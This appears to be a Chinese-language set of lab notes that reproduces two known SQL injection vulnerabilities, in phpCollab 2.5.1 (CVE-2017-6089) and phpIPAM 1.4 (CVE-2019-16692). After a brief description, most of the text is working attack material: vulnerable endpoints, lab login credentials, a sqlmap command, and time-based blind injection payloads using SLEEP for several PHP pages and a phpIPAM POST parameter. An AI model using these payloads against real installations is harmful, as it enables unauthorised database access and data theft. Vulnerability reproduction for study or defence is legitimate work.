(CVE-2017-6089)(CVE-2019-16692)

phpcollab SQL注入 （CVE-2017-6089）

phpCollab是一套基于Web的项目协作管理软件。该软件具有任务分配、讨论、日志和通知等功能。 PhpCollab 2.5.1及之前的版本中存在SQL注入漏洞。远程攻击者可借助多种方法利用该漏洞执行任意的SQL命令。（多种方法包括：向topics/deletetopics.php文件发送‘project’或‘id’参数、（2）向bookmarks/deletebookmarks.php文件发送‘id’参数或（3）向calendar/deletecalendar.php文件发送‘id’参数） 账户：admin，密码：123456

payload：/topics/deletetopics.php?project=1&PHPSESSID=pi6dq386vl561dra7u79ba2tp0&id=1

sqlmap -u ‘http://192.168.85.130:14615/topics/deletetopics.php?project=2&PHPSESSID=pi6dq386vl561dra7u79ba2tp0&id=1‘ –threads=1 –dbms=mysql

payload：192.168.85.130:14615/topics/deletetopics.php?project=2’+AND+(SELECT+7368+FROM+(SELECT(SLEEP(5)))Qylb)–+cIjJ&PHPSESSID=pi6dq386vl561dra7u79ba2tp0&id=1

payload：192.168.85.130:14615/calendar/deletecalendar.php?id=2+AND+(SELECT+7368+FROM+(SELECT(SLEEP(5)))Qylb)–cIjJ&PHPSESSID=pi6dq386vl561dra7u79ba2tp0

payload：192.168.85.130:14615/bookmarks/deletebookmarks.php?id=2+AND+(SELECT+7368+FROM+(SELECT(SLEEP(5)))Qylb)–cIjJ&PHPSESSID=pi6dq386vl561dra7u79ba2tp0

phpIPAM 1.4 – SQL Injection（CVE-2019-16692）

登录后台账户密码：admin/admin888

payload：http://eci-2ze38rxbp1aansfxjb6i.cloudeci1.ichunqiu.com/app/admin/routing/edit-bgp-mapping-search.php

Content-Type: application/x-www-form-urlencoded; charset=UTF-8；subnet=1″&bgp_id=1

时间注入：subnet=1″ AND (SELECT 4306 FROM (SELECT(SLEEP(5)))Diba)– crIb&bgp_id=1